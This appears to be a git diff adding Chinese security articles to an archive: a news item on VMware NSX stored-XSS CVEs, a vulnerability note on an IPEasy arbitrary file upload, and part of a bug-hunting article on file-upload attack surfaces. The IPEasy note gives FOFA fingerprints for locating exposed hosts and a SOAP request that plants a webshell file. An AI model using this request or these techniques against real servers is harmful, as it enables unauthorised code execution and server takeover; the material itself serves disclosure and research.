+（每周保持更新，已更新 170+文档，扫码可免费预览）
+
+
+
+
+
+
+**知识大陆——安全渗透感知大家族**
+****
+
+圈子券后现价
+￥39.9元/年
+￥59.9元/永久
+
+（新人优惠券折扣
+20
+￥，扫码即可领取优惠）
+
+
+
+
+
+内部圈子——
+群
+友反馈，价格优惠，内容优质
+
+
+
+
+
+
+**课程专栏介绍--内部教程**
+
+团队内部课程如下，感兴趣的师傅扫码咨询
+
+
+
+
+
+
+
+
+
+END
+
+
+
+关注Cod
+e4th安全团队
+
+了解更多安全相关内容~
+
+
+
diff --git a/doc/2025-06/【安全圈】在VMWare NSX中发现多个存储的XSS漏洞-立即修补.md b/doc/2025-06/【安全圈】在VMWare NSX中发现多个存储的XSS漏洞-立即修补.md
new file mode 100644
index 00000000..33a71f7c
--- /dev/null
+++ b/doc/2025-06/【安全圈】在VMWare NSX中发现多个存储的XSS漏洞-立即修补.md
@@ -0,0 +1,93 @@
+# 【安全圈】在VMWare NSX中发现多个存储的XSS漏洞-立即修补
+ 安全圈 2025-06-05 11:01
+
+
+
+
+**关键词**
+
+
+
+安全漏洞
+
+
+
+
+Broadcom发布了重要的更新,解决了VMware NSX中三个新披露的漏洞,所有这些漏洞都使用户暴露于存储跨站点脚本(XSS)攻击。这些缺陷(如CVE-2025-22243、CVE-2025-22244和CVE-2025-22245)影响了一系列VMware产品,包括VMware NSX、VMware Cloud Foundation和VMware Telco Cloud Platform。
+
+根据Broadcom的咨询这些漏洞是私人报告的,并且源于NSX接口关键组件中的“不当输入验证”。这些缺陷可能允许经过身份验证的攻击者注入持久的恶意JavaScript代码,这些代码在毫无戒心的管理员或用户访问特定配置面板时执行。
+- **CVE-2025-22243 – NSX Manager UI 中的 XSS(CVSS 7.5 – 重要严重程度)**
+
+具有修改网络设置权限的威胁行为者可能会将恶意脚本注入管理器 UI。“具有创建或修改网络设置权限的恶意行为者可能能够注入在查看网络设置时执行的恶意代码
+,”该咨询解释说。
+
+- **CVE-2025-22244 – 网关防火墙中的XSS(CVSS 6.9 – 中度严重程度)**
+
+此漏洞允许通过网关防火墙界面内的 URL 过滤响应页面注入代码。“一个可以访问创建或修改响应页面以过滤URL的恶意行为者可能能够注入恶意代码,当其他用户尝试访问过滤后的网站时,这些代码会被执行。
+
+- **CVE-2025-22245 – 路由器端口中的XSS(CVSS 5.9 – 中度严重程度)**
+
+在路由器端口配置中存储的 XSS 可以允许在其他用户检查路由器设置时触发攻击。“具有创建或修改路由器端口权限的恶意行为者可能能够注入当其他用户尝试访问路由器端口时被执行的恶意代码。
+
+Broadcom列出了多个产品线中的所有易受攻击的版本。受影响的NSX版本包括4.2.x,4.2.1.x,4.1.x和4.0.x,固定版本可用于:
+- ①NSX 4.2.x → 4.2.2.1
+
+- ②NSX 4.2.1.x → 4.2.1.4
+
+- ③NSX 4.1.x 和 4.0.x → 4.1.2.6
+
+对于 VMware Cloud Foundation (v5.0–5.2) 的用户,Broadcom 建议使用 KB88287 中的指导,将 NSX 同步修补到 4.2.2.1 或 4.1.2.6 版本。电信云用户被转介到 KB396986 以获取升级路径。
+
+虽然没有公开利用报告,但敦促管理员立即修补受影响的系统,特别是因为缺陷需要特权访问,并可用于开发后或横向移动场景。
+
+
+ END
+
+
+阅读推荐
+
+
+[【安全圈】曝黑客新型钓鱼攻击手法：利用虚假弹窗登录页 苹果浏览器风险最高](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652069999&idx=1&sn=a209b07ffec898ff64ca31b5682c918b&scene=21#wechat_redirect)
+
+
+
+[【安全圈】高通紧急发布 5 月补丁，修复 3 个 Adreno GPU 零日漏洞](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652069999&idx=2&sn=31032694ae0b355efabdb89fde5ebc02&scene=21#wechat_redirect)
+
+
+
+[【安全圈】“ Russian Market ”成为黑客进行盗窃凭证的首选应用商店](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652069999&idx=3&sn=c0b6fc5079d25dc0e21619ac4cf85871&scene=21#wechat_redirect)
+
+
+
+[【安全圈】微软和 CrowdStrike 互通黑客识别数据，“去重” 80 余个威胁方](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652069999&idx=4&sn=cfff29fabb6a70bf788e1d0fc8602042&scene=21#wechat_redirect)
+
+
+
+
+
+
+
+
+
+
+**安全圈**
+
+
+
+
+←扫码关注我们
+
+**网罗圈内热点 专注网络安全**
+
+**实时资讯一手掌握！**
+
+
+
+
+**好看你就分享 有用就点个赞**
+
+**支持「****安全圈」就点个三连吧！**
+
+
+
+
diff --git a/doc/2025-06/唯德科创 IPEasy 知易通 WSFM 任意文件上传漏洞.md b/doc/2025-06/唯德科创 IPEasy 知易通 WSFM 任意文件上传漏洞.md
new file mode 100644
index 00000000..20a78792
--- /dev/null
+++ b/doc/2025-06/唯德科创 IPEasy 知易通 WSFM 任意文件上传漏洞.md
@@ -0,0 +1,65 @@
+# 唯德科创 IPEasy 知易通 WSFM 任意文件上传漏洞
+ HK安全小屋 2025-06-05 14:00
+
+## 免责声明
+
+ 请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
+
+
+漏洞描述：
+
+唯徳知识产权管理系统 /AutoUpdate/WSFM.asmx 接口存在任意文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
+唯徳知识产权管理系统
+
+
+影响版本：
+
+
+唯徳知识产权管理系统
+
+
+
+FOFA:
+```
+body="JSCOMM/language.js"
+icon_hash="511014626"
+```
+
+
+POC：
+```
+POST /AutoUpdate/WSFM.asmx HTTP/1.1
+Host:
+Content-Type: text/xml; charset=utf-8
+Content-Length: 1254
+SOAPAction: "http://tempuri.org/UploadFileWordTemplate"
+
+
+
+
+ dGVzdHdlYnNoZWxs
+ /TemplateFiles/webshell.aspx
+
+
+
+```
+
+成功完成文件上传
+
+
+
+
+
+
+--------
+
+请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
+
+请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
+
+请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
+
+
+
+
+
diff --git a/doc/2025-06/突破常规！文件上传漏洞的6大隐蔽攻击面（多个高危场景剖析）挖洞技巧.md b/doc/2025-06/突破常规！文件上传漏洞的6大隐蔽攻击面（多个高危场景剖析）挖洞技巧.md
index 83b69893..d1ca83a0 100644
--- a/doc/2025-06/突破常规！文件上传漏洞的6大隐蔽攻击面（多个高危场景剖析）挖洞技巧.md
+++ b/doc/2025-06/突破常规！文件上传漏洞的6大隐蔽攻击面（多个高危场景剖析）挖洞技巧.md
@@ -1,5 +1,5 @@
# 突破常规！文件上传漏洞的6大隐蔽攻击面（多个高危场景剖析）|挖洞技巧
-Yue 渗透安全HackTwo 2025-06-02 16:01
+Yue Z2O安全攻防 2025-06-05 13:40
**0x01 前言**
@@ -7,11 +7,7 @@ Yue 渗透安全HackTwo 2025-06-02 16:01
本文系统梳理文件上传相关漏洞挖掘思路，从下载、读取、上传到导出，覆盖各类攻击场景，帮助安全研究者快速定位并利用这些漏洞，包括任意文件读取、路径穿越、XXE等高危场景，并提供实用的测试方法和绕过技巧。
参考文章：
-https://xz.aliyun.com/news/18107
-
-现在只对常读和星标的公众号才展示大图推送，建议大家把**渗透安全HackTwo“设为星标”，否则可能就看不到了啦！**
-
-**末尾可领取挖洞资料文件 #渗透安全HackTwo**
+https://xz.aliyun.com/news/18107 ，转载自渗透安全HackTwo
**0x02 漏洞详情**
@@ -46,90 +42,46 @@ https://mp.weixin.qq.com/s/7prdLc9ml6q2chrRxdsdEQ
功能点是上传压缩包,压缩包读取里面的文件内容返回,利用这个点我们要构造它读取的文件内容是否可以重定向到其他的位置,思路还是很好的，实战场景较少可以作为拓展点上传头像/图片img可控CSRF退出头像上传处抓包,请求包的img可控的话代表我们可以自己构造http请求;可控头像用的是外面的链接,我们抓取退出网站的请求CSRF,发送后成功添加,我们的头像就是一个代码链接,别人看到了就会加载访问.退出网站上传302跳转未授权绕过401当我们未授权上传文件(此处未授权不清楚是正常功能点还是说寻找参数构造的上传),如果响应包没有返回401状态码且进行了302跳转，原理是中间件做了统一路由处理，重定向到登录地址或某一处利用利用资源文件后缀绕过此类的限制,加入.png``.jpg文件name重命名RCE当上传一个文件的时候如果有参数可以更改文件名，出现两个文件名参数，可能调用cmd命令rename案例中执行了ping命令 但是感觉好少啊这个情况还能这样RCE修改其中的一个文件名后面利用RCE的绕过|执行PING图片大小参数可控制上传图片width height参数可控的话,通过修改图片大小数值让服务器分配资源增加，具有拒绝服务攻击的安全隐患。使用Image Size lssues插件进行检测算是捡烂吧,观察响应包的自己数量判断越权/遍历上传上传某些东西,头像文件,上传后如果发现存在数字,尝试修改ID越权给他人上传,甚至是遍历fileid它人的上传信息,上传后文件名如第二种，可能此文件是系统经过重命名的，重命名的方式一般采用当前上传的时间戳或者当前上传的日期加随机字段，这种情况下枚举较为困难导出文件CSV注入其实此漏洞大多数SRC不会收取,因为危害大小完全是人为控制的,导出的xlsx没有被触发那么就一定没有效果,只能做到钓鱼的效果,但学习一下不是坏事,在不限制漏洞类型的众测中还是可以捡到钱的大部分人忽略了这个问题CSV注入详解-先知社区PDF导出SSRF内网网页导出表格或者html文档为PDP或者图片JPG,只要抓包存在https以先测试H1标签.如果导出的PDF出现了标签代表解析HTML标签使用iframe标签新开窗测试解析DNS,只要对外发出请求了DNS收到响应,那么代码里面再嵌入内网地址读取也是SSRF再尝试file协议读取文件相关组件及业务场景尝试从PDF导出到SSRF●导出PDF文件或者其他文件内容可控●解析HTML导出场景出现代码手动插入payload,插入后等待DNS响应,响应成功代表是有SSRF请求了,再利用伪协议读取文件完整的攻击文章,从导出探测到可控之后尝试读取内网再读取内网文件,但亮点是正常是通过iframe标签但这里使用的JS代码读取,之后读取的文件内容会导出到PDFXSS到任意文件读取导出PDF通过请求file协议读取文件,javascript将在服务器端执行，通过注入以下 代码从文件系统进行文件的读取绕过当一些特殊标签比如